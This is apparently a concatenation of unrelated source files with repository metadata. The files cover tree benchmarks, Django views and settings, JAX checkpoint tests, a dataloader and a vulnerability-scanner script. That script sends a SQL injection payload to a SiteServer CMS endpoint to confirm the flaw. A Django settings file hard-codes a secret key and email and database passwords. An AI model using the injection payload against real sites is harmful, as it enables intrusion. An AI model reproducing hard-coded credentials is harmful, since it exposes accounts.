def insert(self:"TreeNode3", x:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode3(x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode3(x, x, x) return True else: return self.right.insert(x) return False def insert2(self:"TreeNode3", x:int, x2:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode3(x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode3(x, x, x) return True else: return self.right.insert(x) return False def insert3(self:"TreeNode3", x:int, x2:int, x3:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode3(x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode3(x, x, x) return True else: return self.right.insert(x) return False def contains(self:"TreeNode3", x:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True def contains2(self:"TreeNode3", x:int, x2:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True def contains3(self:"TreeNode3", x:int, x2:int, x3:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True class TreeNode4(object): value:int = 0 value2:int = 0 value3:int = 0 value4:int = 0 left:"TreeNode4" = None left2:"TreeNode4" = None left3:"TreeNode4" = None left4:"TreeNode4" = None right:"TreeNode4" = None right2:"TreeNode4" = None right3:"TreeNode4" = None right4:"TreeNode4" = None def insert(self:"TreeNode4", x:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode4(x, x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode4(x, x, x, x) return True else: return self.right.insert(x) return False def insert2(self:"TreeNode4", x:int, x2:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode4(x, x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode4(x, x, x, x) return True else: return self.right.insert(x) return False def insert3(self:"TreeNode4", x:int, x2:int, x3:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode4(x, x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode4(x, x, x, x) return True else: return self.right.insert(x) return False def insert4(self:"TreeNode4", x:int, x2:int, x3:int, x4:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode4(x, x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode4(x, x, x, x) return True else: return self.right.insert(x) return False def contains(self:"TreeNode4", x:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True def contains2(self:"TreeNode4", x:int, x2:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True def contains3(self:"TreeNode4", x:int, x2:int, x3:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True def contains4(self:"TreeNode4", x:int, x2:int, x3:int, x4:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True class TreeNode5(object): value:int = 0 value2:int = 0 value3:int = 0 value4:int = 0 value5:int = 0 left:"TreeNode5" = None left2:"TreeNode5" = None left3:"TreeNode5" = None left4:"TreeNode5" = None left5:"TreeNode5" = None right:"TreeNode5" = None right2:"TreeNode5" = None right3:"TreeNode5" = None right4:"TreeNode5" = None right5:"TreeNode5" = None def insert(self:"TreeNode5", x:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode5(x, x, x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode5(x, x, x, x, x) return True else: return self.right.insert(x) return False def insert2(self:"TreeNode5", x:int, x2:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode5(x, x, x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode5(x, x, x, x, x) return True else: return self.right.insert(x) return False def insert3(self:"TreeNode5", x:int, x2:int, x3:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode5(x, x, x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode5(x, x, x, x, x) return True else: return self.right.insert(x) return False def insert4(self:"TreeNode5", x:int, x2:int, x3:int, x4:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode5(x, x, x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode5(x, x, x, x, x) return True else: return self.right.insert(x) return False def insert5(self:"TreeNode5", x:int, x2:int, x3:int, x4:int, x5:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode5(x, x, x, x, x) return True else: return self.left.insert(x) elif x > self.value: if self.right is None: self.right = makeNode5(x, x, x, x, x) return True else: return self.right.insert(x) return False def contains(self:"TreeNode5", x:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True def contains2(self:"TreeNode5", x:int, x2:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True def contains3(self:"TreeNode5", x:int, x2:int, x3:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True def contains4(self:"TreeNode5", x:int, x2:int, x3:int, x4:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True def contains5(self:"TreeNode5", x:int, x2:int, x3:int, x4:int, x5:int) -> bool: if x < self.value: if self.left is None: return False else: return self.left.contains(x) elif x > self.value: if self.right is None: return False else: return self.right.contains(x) else: return True class Tree(object): root:TreeNode = None size:int = 0 def insert(self:"Tree", x:int) -> object: if self.root is None: self.root = makeNode(x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def contains(self:"Tree", x:int) -> bool: if self.root is None: return False else: return self.root.contains(x) class Tree2(object): root:TreeNode2 = None root2:TreeNode2 = None size:int = 0 size2:int = 0 def insert(self:"Tree2", x:int) -> object: if self.root is None: self.root = makeNode2(x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def insert2(self:"Tree2", x:int, x2:int) -> object: if self.root is None: self.root = makeNode2(x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def contains(self:"Tree2", x:int) -> bool: if self.root is None: return False else: return self.root.contains(x) def contains2(self:"Tree2", x:int, x2:int) -> bool: if self.root is None: return False else: return self.root.contains(x) class Tree3(object): root:TreeNode3 = None root2:TreeNode3 = None root3:TreeNode3 = None size:int = 0 size2:int = 0 size3:int = 0 def insert(self:"Tree3", x:int) -> object: if self.root is None: self.root = makeNode3(x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def insert2(self:"Tree3", x:int, x2:int) -> object: if self.root is None: self.root = makeNode3(x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def insert3(self:"Tree3", x:int, x2:int, x3:int) -> object: if self.root is None: self.root = makeNode3(x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def contains(self:"Tree3", x:int) -> bool: if self.root is None: return False else: return self.root.contains(x) def contains2(self:"Tree3", x:int, x2:int) -> bool: if self.root is None: return False else: return self.root.contains(x) def contains3(self:"Tree3", x:int, x2:int, x3:int) -> bool: if self.root is None: return False else: return self.root.contains(x) class Tree4(object): root:TreeNode4 = None root2:TreeNode4 = None root3:TreeNode4 = None root4:TreeNode4 = None size:int = 0 size2:int = 0 size3:int = 0 size4:int = 0 def insert(self:"Tree4", x:int) -> object: if self.root is None: self.root = makeNode4(x, x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def insert2(self:"Tree4", x:int, x2:int) -> object: if self.root is None: self.root = makeNode4(x, x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def insert3(self:"Tree4", x:int, x2:int, x3:int) -> object: if self.root is None: self.root = makeNode4(x, x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def insert4(self:"Tree4", x:int, x2:int, x3:int, x4:int) -> object: if self.root is None: self.root = makeNode4(x, x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def contains(self:"Tree4", x:int) -> bool: if self.root is None: return False else: return self.root.contains(x) def contains2(self:"Tree4", x:int, x2:int) -> bool: if self.root is None: return False else: return self.root.contains(x) def contains3(self:"Tree4", x:int, x2:int, x3:int) -> bool: if self.root is None: return False else: return self.root.contains(x) def contains4(self:"Tree4", x:int, x2:int, x3:int, x4:int) -> bool: if self.root is None: return False else: return self.root.contains(x) class Tree5(object): root:TreeNode5 = None root2:TreeNode5 = None root3:TreeNode5 = None root4:TreeNode5 = None root5:TreeNode5 = None size:int = 0 size2:int = 0 size3:int = 0 size4:int = 0 size5:int = 0 def insert(self:"Tree5", x:int) -> object: if self.root is None: self.root = makeNode5(x, x, x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def insert2(self:"Tree5", x:int, x2:int) -> object: if self.root is None: self.root = makeNode5(x, x, x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def insert3(self:"Tree5", x:int, x2:int, x3:int) -> object: if self.root is None: self.root = makeNode5(x, x, x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def insert4(self:"Tree5", x:int, x2:int, x3:int, x4:int) -> object: if self.root is None: self.root = makeNode5(x, x, x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def insert5(self:"Tree5", x:int, x2:int, x3:int, x4:int, x5:int) -> object: if self.root is None: self.root = makeNode5(x, x, x, x, x) self.size = 1 else: if self.root.insert(x): self.size = self.size + 1 def contains(self:"Tree5", x:int) -> bool: if self.root is None: return False else: return self.root.contains(x) def contains2(self:"Tree5", x:int, x2:int) -> bool: if self.root is None: return False else: return self.root.contains(x) def contains3(self:"Tree5", x:int, x2:int, x3:int) -> bool: if self.root is None: return False else: return self.root.contains(x) def contains4(self:"Tree5", x:int, x2:int, x3:int, x4:int) -> bool: if self.root is None: return False else: return self.root.contains(x) def contains5(self:"Tree5", x:int, x2:int, x3:int, x4:int, x5:int) -> bool: if self.root is None: return False else: return self.root.contains(x) def makeNode(x: int) -> TreeNode: b:TreeNode = None b = TreeNode() b.value = x return b def makeNode2(x: int, x2: int) -> TreeNode2: b:TreeNode2 = None b2:TreeNode2 = None b = TreeNode2() b.value = x return b def makeNode3(x: int, x2: int, x3: int) -> TreeNode3: b:TreeNode3 = None b2:TreeNode3 = None b3:TreeNode3 = None b = TreeNode3() b.value = x return b def makeNode4(x: int, x2: int, x3: int, x4: int) -> TreeNode4: b:TreeNode4 = None b2:TreeNode4 = None b3:TreeNode4 = None b4:TreeNode4 = None b = TreeNode4() b.value = x return b def makeNode5(x: int, x2: int, x3: int, x4: int, x5: int) -> TreeNode5: b:TreeNode5 = None b2:TreeNode5 = None b3:TreeNode5 = None b4:TreeNode5 = None b5:TreeNode5 = None b = TreeNode5() b.value = x return b # Input parameters n:int = 100 n2:int = 100 n3:int = 100 n4:int = 100 n5:int = 100 c:int = 4 c2:int = 4 c3:int = 4 c4:int = 4 c5:int = 4 # Data t:Tree = None t2:Tree = None t3:Tree = None t4:Tree = None t5:Tree = None i:int = 0 i2:int = 0 i3:int = 0 i4:int = 0 i5:int = 0 k:int = 37813 k2:int = 37813 k3:int = 37813 k4:int = 37813 k5:int = 37813 # Crunch t = Tree() while i < n: t.insert(k) k = (k * 37813) % 37831 if i % c != 0: t.insert(i) i = i + 1 print(t.size) for i in [4, 8, 15, 16, 23, 42]: if t.contains(i): print(i)
[ "647530+Virtlink@users.noreply.github.com" ]
647530+Virtlink@users.noreply.github.com
b2d39ea40d85aa8dcf18f27da1dd36f9c3d41d73
8f0c385956efcf92fcc83d9f9125a2d2bc027c03
/env/Scripts/f2py.py
3e8454bd2d6d49681d4399f8aa8387b1fc45b689
[]
no_license
TrellixVulnTeam/OfficialCompleteWebApplication_5JVN
ca42e3e7a2ff1cd97ec68479aeb0bb8b258b2dd8
2a707af52241779278a41c04298956c9ba585bf5
refs/heads/master
2023-03-16T07:27:15.679905
2018-10-19T15:33:11
2018-10-19T15:33:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
823
py
#!d:\windowspython\pythonproject\env\scripts\python.exe # See http://cens.ioc.ee/projects/f2py2e/ from __future__ import division, print_function import os import sys for mode in ["g3-numpy", "2e-numeric", "2e-numarray", "2e-numpy"]: try: i = sys.argv.index("--" + mode) del sys.argv[i] break except ValueError: pass os.environ["NO_SCIPY_IMPORT"] = "f2py" if mode == "g3-numpy": sys.stderr.write("G3 f2py support is not implemented, yet.\\n") sys.exit(1) elif mode == "2e-numeric": from f2py2e import main elif mode == "2e-numarray": sys.argv.append("-DNUMARRAY") from f2py2e import main elif mode == "2e-numpy": from numpy.f2py import main else: sys.stderr.write("Unknown mode: " + repr(mode) + "\\n") sys.exit(1) main()
[ "GBTC440014UR@MC.MONTGOMERYCOLLEGE.EDU" ]
GBTC440014UR@MC.MONTGOMERYCOLLEGE.EDU
48d176180c8715f929f5098f7672d5cb76068d20
580f4ea380dda415c571ff6d122f8730d8de6682
/small_instagram/views.py
285e97060b66d4ab51e5e0092927843b07d9ae54
[]
no_license
chyinglin/small_instagram
85922b21da38f5f296cbee62ef55047c116fa134
c4b530a47639ca2480842328b18afcf650ff6a32
refs/heads/master
2021-07-06T14:55:34.427861
2020-03-27T13:16:20
2020-03-27T13:16:20
244,367,612
2
0
null
2021-06-08T21:10:23
2020-03-02T12:38:25
Python
UTF-8
Python
false
false
876
py
from django.shortcuts import render from django.urls import reverse_lazy from django.views.generic import DetailView, ListView, TemplateView from django.views.generic.edit import CreateView, UpdateView, DeleteView from small_instagram.models import Post # Create your views here. class Helloworld(TemplateView): template_name = 'test.html' class PostView(ListView): model = Post template_name = 'index.html' class PostDetailView(DetailView): model = Post template_name = 'post_detail.html' class PostCreateView(CreateView): model = Post template_name = 'make_post.html' fields = '__all__' class PostUpdateView(UpdateView): model = Post fields = ['title'] template_name = 'post_update.html' class PostDeleteView(DeleteView): model = Post template_name = 'post_delete.html' success_url = reverse_lazy('home')
[ "phoebe.lin@oriente.com" ]
phoebe.lin@oriente.com
9102954aee63aa1de8128785de2d2f9e90d976f9
a79cccacfa422012caac481b5eff80f6e911d0af
/jax/experimental/gda_serialization/serialization_test.py
cef36c9f56c1553a70bcf8e80935396e0bf0d8b0
[ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ]
permissive
jblespiau/jax
f932fe6df23942756957db61655f6cc9c6d67d64
46a666c4489b9e04d2777cf2156453bc48a8e432
refs/heads/main
2022-04-17T01:50:55.041057
2022-04-15T08:49:52
2022-04-15T08:49:52
481,888,965
0
0
Apache-2.0
2022-04-15T08:20:44
2022-04-15T08:20:43
null
UTF-8
Python
false
false
6,163
py
# Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for serialization and deserialization of GDA.""" import pathlib import unittest from absl.testing import absltest import jax from jax._src import test_util as jtu from jax._src import util from jax.config import config from jax.experimental import PartitionSpec as P from jax.experimental.global_device_array import GlobalDeviceArray from jax.experimental.gda_serialization import serialization from jax.experimental.maps import Mesh import numpy as np config.parse_flags_with_absl() def create_global_mesh(mesh_shape, axis_names): size = util.prod(mesh_shape) if len(jax.devices()) < size: raise unittest.SkipTest(f'Test requires {size} local devices') mesh_devices = np.array(jax.devices()[:size]).reshape(mesh_shape) global_mesh = Mesh(mesh_devices, axis_names) return global_mesh class CheckpointTest(jtu.JaxTestCase): def test_checkpointing(self): global_mesh = create_global_mesh((4, 2), ('x', 'y')) global_input_shape = (8, 2) mesh_axes = P('x', 'y') num = util.prod(global_input_shape) # First GDA global_input_data1 = np.arange(num).reshape(global_input_shape) def cb1(index): return global_input_data1[index] gda1 = GlobalDeviceArray.from_callback(global_input_shape, global_mesh, mesh_axes, cb1) ckpt_dir1 = pathlib.Path(self.create_tempdir('first').full_path) # Second GDA global_input_data2 = np.arange(num, num + num).reshape(global_input_shape) def cb2(index): return global_input_data2[index] gda2 = GlobalDeviceArray.from_callback(global_input_shape, global_mesh, mesh_axes, cb2) ckpt_dir2 = pathlib.Path(self.create_tempdir('second').full_path) # Third GDA def cb3(index): return np.array([]) global_mesh1d = create_global_mesh((8,), ('x',)) gda3 = GlobalDeviceArray.from_callback((0,), global_mesh1d, P(None), cb3) ckpt_dir3 = pathlib.Path(self.create_tempdir('third').full_path) ckpt_paths = [str(ckpt_dir1), str(ckpt_dir2), str(ckpt_dir3)] tspecs = jax.tree_map(serialization.get_tensorstore_spec, ckpt_paths) serialization.run_serialization([gda1, gda2, gda3], tspecs) m1, m2, m3 = serialization.run_deserialization( [global_mesh, global_mesh, global_mesh1d], [mesh_axes, P('x'), P(None)], tspecs) self.assertArraysEqual(m1.local_shards[0].data.to_py(), np.array([[0], [2]])) self.assertArraysEqual(m1.local_shards[1].data.to_py(), np.array([[1], [3]])) self.assertEqual(m1.local_shards[0].data.shape, (2, 1)) self.assertEqual(m1.dtype, np.int32) self.assertArraysEqual(m2.local_shards[0].data.to_py(), np.array([[16, 17], [18, 19]])) self.assertArraysEqual(m2.local_shards[1].data.to_py(), np.array([[16, 17], [18, 19]])) self.assertEqual(m2.local_shards[0].data.shape, (2, 2)) self.assertEqual(m2.dtype, np.int32) for i, s in enumerate(m3.local_shards): self.assertEqual(s.index, (slice(None),)) self.assertEqual(s.replica_id, i) self.assertArraysEqual(s.data.to_py(), np.array([])) self.assertEqual(m3.dtype, np.float32) def test_checkpointing_with_bigger_shape(self): global_mesh = create_global_mesh((2, 2), ('x', 'y')) global_input_shape = (8, 2) num = util.prod(global_input_shape) # First GDA global_input_data1 = np.arange(num).reshape(global_input_shape) def cb1(index): return global_input_data1[index] gda1 = GlobalDeviceArray.from_callback(global_input_shape, global_mesh, P('x', 'y'), cb1) ckpt_dir1 = pathlib.Path(self.create_tempdir('first').full_path) ckpt_paths = [str(ckpt_dir1)] tspecs = jax.tree_map(serialization.get_tensorstore_spec, ckpt_paths) serialization.run_serialization([gda1], tspecs) m1, = serialization.run_deserialization( [create_global_mesh((4, 2), ('x', 'y'))], [P('x', 'y')], tspecs, [(12, 2)], ) expected_data = { 0: np.array([[0], [2], [4]]), 1: np.array([[1], [3], [5]]), 2: np.array([[6], [8], [10]]), 3: np.array([[7], [9], [11]]), 4: np.array([[12], [14], [0]]), 5: np.array([[13], [15], [0]]), 6: np.array([[0], [0], [0]]), 7: np.array([[0], [0], [0]]), } for l in m1.local_shards: self.assertArraysEqual(l.data.to_py(), expected_data[l.device.id]) def test_spec_has_metadata(self): spec = { 'a': { 'b': 1, 'c': 2, }, 'd': 3, 'e': { 'a': 2, 'metadata': 3 }, 'f': 4 } self.assertTrue(serialization._spec_has_metadata(spec)) self.assertTrue( serialization._spec_has_metadata({ 'driver': 'zarr', 'kvstore': 'gfile', 'metadata': { 'chunks': 4, 'shape': (32, 64) }, 'one_more': 'thing' })) def test_spec_has_no_metadata(self): spec = { 'a': { 'b': 1, 'c': 2, }, 'd': 3, 'e': { 'a': 2, }, 'f': 4 } self.assertFalse(serialization._spec_has_metadata(spec)) def test_empty_spec_has_no_metadata(self): spec = {} self.assertFalse(serialization._spec_has_metadata(spec)) if __name__ == '__main__': absltest.main(testLoader=jtu.JaxTestLoader())
[ "no-reply@google.com" ]
no-reply@google.com
29d95c7d78081bb32e239f1ff033ca7a0b8468e6
0a0dacd9c5cfaad2e1305e469cc4aaa0fc6a36c6
/project/project/settings.py
5a82879ea81f5fbef4ba112b10b86634ff401a60
[]
no_license
mikhail-schedrakov/motivate-me
18411b92c200f4328b0a05844dd3f44eddffbf96
8867e9a18b95e44cbc7571696c82c84b8c814777
refs/heads/master
2016-09-03T06:31:45.178051
2014-05-13T07:20:39
2014-05-13T07:20:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,374
py
""" Django settings for project project. For more information on this file, see https://docs.djangoproject.com/en/1.6/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.6/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(__file__)) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'cgc8p$(tc!q3l*&&1cr(&*e)y(%#ck6c!+mxn%9+*kg-$d*v89' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True TEMPLATE_DEBUG = True ALLOWED_HOSTS = [] AUTH_USER_MODEL = 'api.CustomUser' # Application definition INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'api', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ) ROOT_URLCONF = 'project.urls' WSGI_APPLICATION = 'project.wsgi.application' DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'motivate_me', 'USER': 'root', 'PASSWORD': '123', 'HOST': '127.0.0.1', 'TEST_CHARSET': "utf8", } } # Internationalization # https://docs.djangoproject.com/en/1.6/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.6/howto/static-files/ STATIC_ROOT = '/home/mikhail/sites/motivate-me.local/static/' STATIC_URL = '/static/' EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' DEFAULT_FROM_EMAIL = 'mikhail.schedrakov@gmail.com' EMAIL_USE_TLS = True EMAIL_HOST = 'smtp.gmail.com' EMAIL_HOST_USER = 'mikhail.schedrakov@gmail.com' EMAIL_HOST_PASSWORD = 'Kondoos21' EMAIL_PORT = 587
[ "mikhail.schedrakov@gmail.com" ]
mikhail.schedrakov@gmail.com
1958e4fd3cd5234c86f6dd7f259d43da2a520bd3
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03032/s283156387.py
473d0ed84ab4c0f25eab299ea36e78724919eff4
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
400
py
n,k = map(int,input().split()) lis = list(map(int,input().split())) ans = 0 for i in range(n): for j in range(n-i+1): num = lis[:i] if j > 0: num += lis[-j:] if len(num) <= k: cnt = min(len(num),k-len(num)) num.sort() for h in range(cnt): num[h] = max(0,num[h]) ans = max(ans,sum(num)) print(ans)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
fb659577e281930692b033c8a954e76c92e79e5a
13f61f3ec5afcf9bfaf1e49c35d147ca399b7b9b
/polls/admin.py
0a57cbc72b0f402aa1aeaa265e8c19c855162ab5
[]
no_license
nevinl/qsource
5bf4faebde15f3de141cc1e7f084d39e5b84f0fa
4cf8284446e00f11e236bc0e2d72d01880e49597
refs/heads/master
2021-01-10T07:04:50.165543
2015-10-22T18:22:31
2015-10-22T18:22:31
44,188,216
0
0
null
null
null
null
UTF-8
Python
false
false
480
py
from django.contrib import admin from .models import Question class QuestionAdmin(admin.ModelAdmin): fieldsets = [ (None, {'fields': ['question_text', 'ans1_text', 'ans2_text']}), ('Date information', {'fields': ['pub_date'], 'classes': ['collapse']}), ] list_display = ('question_text', 'pub_date','was_published_recently') list_filter = ['pub_date'] search_fields = ['question_text'] admin.site.register(Question, QuestionAdmin)
[ "nevinl@rpi.edu" ]
nevinl@rpi.edu
dd773633d85d0d1d73c0a0a758c4bdebd3107be2
6f7ba68d9e2ba6cfc7f07367bcd34a643f863044
/cms/siteserver/siteserver_background_keywordsFilting_sqli.py
24feed6f2a0c31d35687f1091c3bcc6d3214f82b
[]
no_license
deepwebhacker/Dxscan
2e803ee01005a1d0a7802290bfb553f99e8fcf2e
eace0872e1deb66d53ec7cfc62f4c793f9421901
refs/heads/main
2023-03-06T10:26:23.371926
2021-02-22T14:03:51
2021-02-22T14:03:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,719
py
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' name: siteserver3.6.4 background_keywordsFilting.aspx注入 referer: http://www.wooyun.org/bugs/wooyun-2013-043641 author: Lucifer description: 文件/siteserver/bbs/background_keywordsFilting.aspx中,参数Keyword存在SQL注入。 ''' import sys import requests import warnings from termcolor import cprint class siteserver_background_keywordsFilting_sqli_BaseVerify: def __init__(self, url): self.url = url def run(self): headers = { "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" } payload = "/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27AnD%20ChAr(66)%2BChAr(66)%2BChAr(66)%2B@@VeRsIoN>0--" vulnurl = self.url + payload try: req = requests.get(vulnurl, headers=headers, timeout=10, verify=False) if r"BBBMicrosoft" in req.text: cprint("[+]存在siteserver3.6.4 background_keywordsFilting.aspx注入漏洞...(高危)\tpayload: "+vulnurl, "red") postdata = {self.url:"存在siteserver3.6.4 background_keywordsFilting.aspx注入漏洞...(高危)\tpayload: "+vulnurl} requests.post('http://localhost:8848/cms', json=postdata) else: cprint("[-]不存在siteserver_background_keywordsFilting_sqli漏洞", "white", "on_grey") except: cprint("[-] "+__file__+"====>可能不存在漏洞", "cyan") if __name__ == "__main__": warnings.filterwarnings("ignore") testVuln = siteserver_background_keywordsFilting_sqli_BaseVerify(sys.argv[1]) testVuln.run()
[ "noreply@github.com" ]
noreply@github.com
6ff26b8d9ae38917b7431bfed76b9954ca7affc6
ddce4c65dec00d757d7397489585a16fdb40d8a6
/Dataloader.py
77cba210d8b1ac86072d3380f3870109aa126a4e
[]
no_license
BENULL/Transformer
de869ec72df5dc339cc8d956a25e0f3c696711e0
58e4639d5cb2da969c0e5b0e94db07f73b528de0
refs/heads/master
2023-05-03T17:33:21.200217
2021-05-28T14:42:54
2021-05-28T14:42:54
369,182,909
2
2
null
null
null
null
UTF-8
Python
false
false
1,786
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @author: BENULL @time: 2021/5/25 19:42 """ from torchtext import data, datasets import spacy import de_core_news_sm import en_core_web_sm from torchtext.data import Field, Dataset, BucketIterator from torchtext.datasets import TranslationDataset spacy_de = spacy.load('de_core_news_sm') spacy_en = spacy.load('en_core_web_sm') def tokenize_de(text): return [tok.text for tok in spacy_de.tokenizer(text)] def tokenize_en(text): return [tok.text for tok in spacy_en.tokenizer(text)] def load_IWSLT(opt, device): BOS_WORD = '<s>' EOS_WORD = '</s>' BLANK_WORD = "<blank>" SRC = data.Field(tokenize=tokenize_de, pad_token=BLANK_WORD) TGT = data.Field(tokenize=tokenize_en, init_token=BOS_WORD, eos_token=EOS_WORD, pad_token=BLANK_WORD) MAX_LEN = 100 train, val, test = datasets.IWSLT.splits( exts=('.de', '.en'), fields=(SRC, TGT), filter_pred=lambda x: len(vars(x)['src']) <= MAX_LEN and len(vars(x)['trg']) <= MAX_LEN) MIN_FREQ = 2 SRC.build_vocab(train.src, min_freq=MIN_FREQ) TGT.build_vocab(train.trg, min_freq=MIN_FREQ) opt.max_token_seq_len = MAX_LEN opt.src_pad_idx = SRC.vocab.stoi[BLANK_WORD] opt.trg_pad_idx = TGT.vocab.stoi[BLANK_WORD] opt.src_vocab_size = len(SRC.vocab) opt.trg_vocab_size = len(TGT.vocab) fields = {'src':SRC, 'trg':TGT} train = Dataset(examples=train.examples, fields=fields) val = Dataset(examples=val.examples, fields=fields) train_iterator = BucketIterator(train, batch_size=opt.batch_size, device=device, train=True) val_iterator = BucketIterator(val, batch_size=opt.batch_size, device=device) return train_iterator, val_iterator
[ "327137362@qq.com" ]
327137362@qq.com
22dc25f069282eaf0bc52b23aadee2434f9c0b15
f3cb7fb8c116b1a372b1d9a2194da4263d085cea
/180202_class.py
ea0203da307075e7401a0abc05b432a289166168
[]
no_license
www-wy-com/StudyPy01
5feac935cb3a733a2129f48df590e8554cf35b7b
eee68779b33c70f7f86f7f86eb95f93e39a2c879
refs/heads/master
2021-04-06T00:22:57.685808
2018-03-10T10:52:12
2018-03-10T10:52:12
124,646,835
0
0
null
null
null
null
UTF-8
Python
false
false
4,600
py
